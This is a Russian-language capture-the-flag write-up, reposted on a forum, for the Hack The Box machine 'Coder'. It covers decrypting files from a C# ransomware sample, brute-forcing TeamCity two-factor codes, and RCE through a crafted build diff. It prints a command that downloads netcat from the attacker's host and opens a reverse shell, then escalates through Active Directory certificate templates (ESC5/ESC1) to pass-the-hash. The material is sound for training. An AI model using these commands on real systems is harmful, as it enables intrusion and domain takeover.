• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Реверсим шифровальщик и применяем технику ESC5

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,167
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу процесс реверсинга вируса‑шифровальщика, написанного на C#. Потом мы обойдем двухфакторную аутентификацию в TeamCity и получим RCE. Затем применим технику ESC5 для повышения привилегий через мисконфиг службы сертификации Active Directory.
Наша конечная цель — захват рута на машине Coder с площадки Hack The Box. Уровень ее сложности — «безумный».

warning​

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.207 coder.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Сканер нашел множество открытых портов. Несложно заметить, что мы имеем дело с Windows.
  • 53 — служба DNS;
  • 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
  • 88 — служба Kerberos;
  • 135 — служба удаленного вызова процедур (Microsoft RPC);
  • 139 — служба сеансов NetBIOS, NetLogon;
  • 389 — служба LDAP;
  • 443 (HTTPS) — веб‑сервер Microsoft IIS/10.0;
  • 445 — служба SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 5985 — служба удаленного управления WinRM;
  • 9389 — веб‑службы AD DS.
LDAP раскрывает имя домена и хоста, которые сразу добавляем в файл /etc/hosts.

10.10.11.207 coder.htb dc01.coder.htb
Теперь проверяем доступ к службе SMB от имени гостевого пользователя и получаем список общих ресурсов. Для этого используем утилиту Для просмотра ссылки Войди или Зарегистрируйся.

cme smb 10.10.11.207 -u 'guest' -p '' --shares
Для просмотра ссылки Войди или Зарегистрируйся
Есть несколько интересных каталогов, но первым делом заглянем в Development.

Точка входа​

Подключаемся к ресурсу SMB с помощью скрипта smbclient из набора Для просмотра ссылки Войди или Зарегистрируйся.

Код:
impacket-smbclient 'guest@10.10.11.207'
use Development
Содержимое общих ресурсов
Содержимое общих ресурсов
В итоге нам доступно очень много файлов, поэтому лучше скопировать все на локальный хост и затем проанализировать.

Код:
smbclient //10.10.11.207/Development -N
recurse on
prompt off
mget *
Рекурсивная загрузка файлов
Рекурсивная загрузка файлов

Наиболее интересны исполняемый файл‑шифровальщик и, видимо, зашифрованный файл.

Содержимое каталога Temporary Projects
Содержимое каталога Temporary Projects

Программа написана на C#, а значит, исполняемый файл можно декомпилировать с помощью Для просмотра ссылки Войди или Зарегистрируйся.

Исходный код класса Main
Исходный код класса Main

Таким образом, файлы шифруются при помощи ключа и вектора инициализации (строки 21–26). В качестве сида для функции Random используется текущее время, а это значит, что ключ и вектор инициализации неслучайны. Мы можем немного переписать программу для расшифровки файла, а время, когда файл был зашифрован, определим по дате его создания.

Содержимое SMB-ресурса
Содержимое SMB-ресурса

Для перевода времени в формат UNIX воспользуемся сайтом Для просмотра ссылки Войди или Зарегистрируйся. Указываем дату (с учетом временной зоны) и получаем число для инициализации функции Random.

Получение сида Random
Получение сида Random

Теперь можем переписать код, который поможет расшифровать файл.

Код:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;

namespace Decryptor
{
 class Program
 {
   static void Main(string[] args)
   {
    FileInfo fileInfo = new FileInfo(args[0]);
    string destFile = Path.ChangeExtension(fileInfo.Name, ".dec");
    long value = 1668205028; // DateTimeOffset.Now.ToUnixTimeSeconds();
    Random random = new Random(Convert.ToInt32(value));
    byte[] array = new byte[16];
    random.NextBytes(array);
    byte[] array2 = new byte[32];
    random.NextBytes(array2);
    byte[] array3 = Program.EncryptFile(fileInfo.Name, destFile, array2, array);
   }

   private static byte[] EncryptFile(string sourceFile, string destFile, byte[] Key, byte[] IV)
   {
    using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
    {
     using (FileStream destFileStream = new FileStream(destFile, FileMode.Create))
     {
       using (ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor(Key, IV))
       {
        using (FileStream sourceFileStream = new FileStream(sourceFile, FileMode.Open))
        {
         using (CryptoStream cryptoStream = new CryptoStream(sourceFileStream, cryptoTransform, CryptoStreamMode.Read))
         {
           byte[] array = new byte[1024];
           int count;
           while ((count = cryptoStream.Read(array, 0, array.Length)) != 0)
           {
            destFileStream.Write(array, 0, count);
           }
         }
        }
       }
     }
    }
    return null;
   }
 }
}
Проверка расшифрованного файла
Проверка расшифрованного файла

Это оказался архив 7-Zip, который содержит базу паролей KeePass и, предположительно, файл‑ключ.

Содержимое архива 7-Zip
Содержимое архива 7-Zip

А теперь расшифруем и откроем базу паролей KeePass.

Расшифровка базы KeePass
Расшифровка базы KeePass
Сохраненный запрос бэкапа
Сохраненный запрос бэкапа
Учетные данные пользователя s.blade
Учетные данные пользователя s.blade
Учетные данные пользователя s.blade для сервиса TeamCity
Учетные данные пользователя s.blade для сервиса TeamCity

Точка опоры​

Первым делом проверяем найденные учетные данные. Так, данные для О365 оказались доменными учетными данными.

cme smb 10.10.11.207 -u 's.blade' -p 'AmcwNO60Zg3vca3o0HDrTC6D' --shares
Проверка учетных данных на SMB-ресурсе
Проверка учетных данных на SMB-ресурсе

Нам удается авторизоваться на SMB. Теперь попробуем получить доступ к хосту, для чего проверим подключение к службе WinRM.

cme winrm 10.10.11.207 -u 's.blade' -p 'AmcwNO60Zg3vca3o0HDrTC6D'
Проверка учетных данных на службе WinRM
Проверка учетных данных на службе WinRM

Сессию получить не выйдет, поэтому переходим еще к одному найденному ресурсу — сайту Для просмотра ссылки Войди или Зарегистрируйся. Не забываем обновить запись в файле /etc/hosts.

10.10.11.207 coder.htb dc01.coder.htb teamcity-dev.coder.htb
Форма авторизации TeamCity
Форма авторизации TeamCity

TeamCity — это билд‑сервер для обеспечения непрерывной интеграции при разработке. Вводим учетные данные для платформы и натыкаемся на двухфакторную аутентификацию.

Двухфакторная аутентификация TeamCity
Двухфакторная аутентификация TeamCity

У нас запрашивают шестизначный пароль, попробуем его пробрутить (возможно, займет какое‑то время). Для перебора используем Burp Intruder.

Burp Intruder — вкладка Positions
Burp Intruder — вкладка Positions
Burp Intruder — вкладка Payloads
Burp Intruder — вкладка Payloads
Burp Intruder — результат перебора
Burp Intruder — результат перебора

В итоге можно отфильтровать результаты по длине или коду ответа и получить один отличающийся. Вводим этот код и получаем доступ к TeamCity.

Главная страница TeamCity
Главная страница TeamCity

TeamCity RCE​

Переходим к единственному проекту и выполняем сборку. Больше всего нас интересуют логи сборки.

Логи сборки проекта
Логи сборки проекта

В логах видим путь к запускаемому скрипту на PowerShell. Этот файл мы можем найти среди общих каталогов SMB.

Содержимое проекта teamcity_test_repo
Содержимое проекта teamcity_test_repo

Хоть писать в файл на сервере мы не можем, но благодаря локальному доступу к git-репозиторию все же имеем возможность выполнить свой код через применение diff-файла. В локальный файл hello_world.ps1 запишем реверс‑шелл на PowerShell, сгенерированный на сайте Для просмотра ссылки Войди или Зарегистрируйся.

Исходный файл на PowerShell
Исходный файл на PowerShell
Измененный файл hello_world.ps1
Измененный файл hello_world.ps1

Теперь выполняем git commit.

git commit hello_world.ps1 -m 'changed'
Применение изменений git
Применение изменений git

Получим идентификаторы коммитов, для этого смотрим git log.

git log
Коммиты git
Коммиты git

А теперь создадим diff-файл, который будет содержать различия между коммитами.

git diff 4aefc d9899
Формирование diff-файла
Формирование diff-файла

Вернемся к TeamCity и запустим кастомную сборку, указав сформированный diff-файл. Предварительно запускаем листенер:

rlwrap nc -lnvp 4321
Кастомная сборка проекта
Кастомная сборка проекта

К сожалению, реверс‑шелл мы не получаем, а в логах сборки читаем, что обнаружено вредоносное содержимое скрипта.

Логи сборки
Логи сборки
Я решил не патчить AMSI для работы с PowerShell, а пошел иным путем: просто скачиваем на хост Windows-версию netcat и запускаем самый простой реверс‑шелл. Для этого нужно сформировать новый diff-файл.

Код:
curl http://10.10.14.83:80/nc64.exe -O .\nc64.exe
.\nc64.exe 10.10.14.83 4321 -e powershell

Повторяем все предваряющие сборку действия и получаем бэкконнект.

Сессия пользователя coder
Сессия пользователя coder

Продвижение​

Получив доступ к файловой системе хоста, первым делом проверяем остальные проекты, так как там могут быть ценные данные. При этом важно заглянуть в каталог C:\programdata.

Содержимое каталога C:\programdata\JetBrains
Содержимое каталога C:\programdata\JetBrains

Находим уже знакомый нам проект, но он содержит много diff-файлов.

Содержимое каталога C:\programdata\JetBrains\TeamCity\system\changes
Содержимое каталога C:\programdata\JetBrains\TeamCity\system\changes

Большинство из них оказались моими попытками получить реверс‑шелл, но самый первый файл был создан давно. Проверим его содержимое.

Содержимое файла 101.changes.diff
Содержимое файла 101.changes.diff

Так находим файлы key.txt, enc.txt и Get-ADCS_Report.ps1. В скрипте пароль пользователя e.black в файле enc.txt расшифровывается с помощью ключа key.txt. Сохраним файлы на локальный хост и расшифруем пароль.

Код:
$key = Get-Content ./key.txt
$enc = Get-Content ./enc.txt | ConvertTo-SecureString -Key $key
(New-Object PSCredential 0, $enc).GetNetworkCredential().Password
Расшифрованный пароль
Расшифрованный пароль

Получаем пароль пользователя e.black и проверяем его на ресурсе SMB.

cme smb 10.10.11.207 -u 'e.black' -p 'ypOSJXPqlDOxxbQSfEERy300'
Результат тестирования SMB
Результат тестирования SMB

Затем проверим учетные данные для службы WinRM.

cme winrm 10.10.11.207 -u 'e.black' -p 'ypOSJXPqlDOxxbQSfEERy300'
Результат тестирования WinRM
Результат тестирования WinRM

Мы можем авторизоваться на хосте с помощью Для просмотра ссылки Войди или Зарегистрируйся и получить сессию пользователя, а заодно и первый флаг.

evil-winrm -i 10.10.11.207 -u 'e.black' -p 'ypOSJXPqlDOxxbQSfEERy300'
Флаг пользователя
Флаг пользователя

Локальное повышение привилегий​

Теперь получим информацию о пользователе. Нас интересуют активные привилегии и группы, в которых он состоит.

whoami /all
Информация о пользователе
Информация о пользователе

И пользователь состоит в группах Certificate Service DCOM Access и PKI Admins, а это дает нам право на регистрацию шаблонов сертификатов в службе сертификации Active Directory (AD CS) и на выпуск сертификатов. Эти условия позволяют нам повысить привилегии в домене. Применяемая нами техника называется ESC5.

Давай зарегистрируем заранее уязвимый шаблон сертификата, для которого применима техника повышения привилегий ESC1. Взять его можно Для просмотра ссылки Войди или Зарегистрируйся. А регистрировать Для просмотра ссылки Войди или Зарегистрируйся будем с помощью Для просмотра ссылки Войди или Зарегистрируйся для группы PKI Admins.

Код:
Import-Module .\ADCSTemplate.psm1
New-ADCSTemplate -DisplayName RalfESC1 -JSON (Get-Content .\ESC1.json -Raw) -Publish -Identity "CODER\PKI Admins"
Регистрация нового шаблона
Регистрация нового шаблона

Теперь используем Для просмотра ссылки Войди или Зарегистрируйся, чтобы получить данные о центре сертификации и существующих шаблонах.

certipy-ad find -username '[EMAIL]e.black@coder.htb[/EMAIL]' -password 'ypOSJXPqlDOxxbQSfEERy300'
Получение информации о центре сертификации
Получение информации о центре сертификации
Зарегистрированный шаблон
Зарегистрированный шаблон
Видим созданный нами шаблон сертификата и можем запросить выпуск сертификата для пользователя Administrator.

certipy-ad req -username '[EMAIL]e.black@coder.htb[/EMAIL]' -password 'ypOSJXPqlDOxxbQSfEERy300' -ca coder-DC01-CA -target 10.10.11.207 -template RalfESC1 -upn '[EMAIL]Administrator@coder.htb[/EMAIL]' -dns dc01.coder.htb
Запрос сертификата пользователя
Запрос сертификата пользователя

Теперь у нас есть сертификат, разрешающий аутентификацию пользователя. По этому сертификату можем получить NTLM-хеш пароля пользователя и выполнить атаку path the hash. Но есть маленький нюанс — нужно синхронизировать время с удаленным сервером, используя команду ntpdate.

Код:
sudo timedatectl set-ntp 0
sudo ntpdate -s 10.10.11.207

certipy-ad auth -pfx administrator_dc01.pfx -dc-ip 10.10.11.207
Получение NTLM-хеша пароля пользователя
Получение NTLM-хеша пароля пользователя

Теперь возвращаем время своей машины обратно и подключаемся к серверу по WMI с полученным хешем.

Код:
sudo timedatectl set-ntp 1
sudo ntpdate -s ntp.org

impacket-wmiexec coder.htb/administrator@dc01.coder.htb -hashes :807726fcf9f188adc26eeafd7dc16bb7
Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу